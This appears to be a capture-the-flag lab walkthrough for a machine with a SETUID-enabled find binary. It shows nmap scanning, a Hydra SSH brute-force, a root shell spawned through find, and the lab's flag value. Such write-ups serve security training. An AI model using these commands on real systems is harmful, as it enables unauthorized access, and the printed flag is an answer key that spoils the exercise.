Detailed Steps to Solve the Machine

Machine Information

Macro: Improper SETUID Bit

Type: Linux tool with improper SETUID bit set

Description: The target machine (192.168.1.3) has a Linux tool, specifically /usr/bin/find, with the SETUID bit set, allowing it to run with root privileges. This misconfiguration enables a user to execute arbitrary commands as root by leveraging the tool's capabilities.

Objective: Gain root access to the target machine and retrieve the flag located at /root/flag.

Step-by-Step Process

Step 1: Network Discovery with Nmap

Command: nmap -sn 192.168.1.0/24

Description:

- Purpose: Perform a ping scan to identify live hosts on the 192.168.1.0/24 subnet.
- Details:
  - Executed from a machine with IP 192.168.0.5.
  - nmap -sn conducts a host discovery scan without port scanning, checking the 256 IP addresses in the 192.168.1.0/24 range.
  - Identifies the target machine’s IP address within the network.
- Assumption: The scan reveals 192.168.1.3 as a live host, targeted in subsequent steps.
- Output: A list of active IP addresses, including the target at 192.168.1.3.

Step 2: Service Scanning with Nmap

Command: nmap -sV 192.168.1.3

Description:

- Purpose: Identify open ports and services on the target machine (192.168.1.3).
- Details:
  - nmap -sV performs a service version scan to detect open ports and software versions.
  - Executed from 192.168.0.5, targeting 192.168.1.3.
  - Identifies services like SSH, critical for initial access.
- Assumption: The scan confirms port 22 (SSH) is open, running OpenSSH.
- Output: A report listing open ports, with port 22 (SSH) as a potential entry point.

Step 3: Password Cracking with Hydra

Command: hydra -l student -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.3

Description:

- Purpose: Brute-force the SSH password for the user student on 192.168.1.3.
- Details:
  - hydra attempts SSH logins using the username student.
  - -P /usr/share/wordlists/rockyou.txt.gz uses the rockyou.txt wordlist for password guessing.
  - Targets the SSH service on 192.168.1.3.
- Assumption: Hydra cracks the password, revealing password as the credential.
- Output: Cracked credentials: student:password.

Step 4: SSH Login

Command: ssh student@192.168.1.3 -p 22

Description:

- Purpose: Establish an SSH connection using the cracked credentials.
- Details:
  - Connects to 192.168.1.3 on port 22.
  - Uses username student and password password.
  - Grants shell access as the student user.
- Assumption: The SSH connection is successful.
- Output: An active SSH session on the target machine.

Step 5: Find SETUID Binaries

Command: find / -type f -perm /4000

Description:

- Purpose: Identify files with the SETUID bit set to locate exploitable binaries.
- Details:
  - find / -type f -perm /4000 searches for files with the SETUID permission bit.
  - Executed on 192.168.1.3 via SSH.
  - The SETUID bit allows binaries to run with the owner’s privileges, typically root.
- Assumption: The output includes /usr/bin/find, indicating it has the SETUID bit set.
- Output: A list of SETUID binaries, including /usr/bin/find.

Step 6: Exploit SETUID Find Command

Command: /usr/bin/find / -exec /bin/bash -p \; -quit

Description:

- Purpose: Exploit the SETUID bit on /usr/bin/find to spawn a root shell.

- Details:
    - /usr/bin/find / runs the find command with root privileges due to the SETUID bit.
    - -exec /bin/bash -p \; executes a bash shell with preserved privileges (-p ensures the effective UID is not dropped).
    - -quit stops the find command after the first execution to avoid unnecessary searches.
    - Executed on 192.168.1.3.
- Assumption: The command spawns a bash shell with root privileges.
- Output: A root shell prompt (root@machine).

Step 7: Retrieve the Flag

Command: cat /root/flag

Description:

- Purpose: Read the contents of the flag file located at /root/flag.
- Details:
    - cat /root/flag displays the flag’s contents.
    - Executed in the root shell on 192.168.1.3.
    - The flag is the final objective.
- Output: The flag: eMiF40vqCQPcPWIf.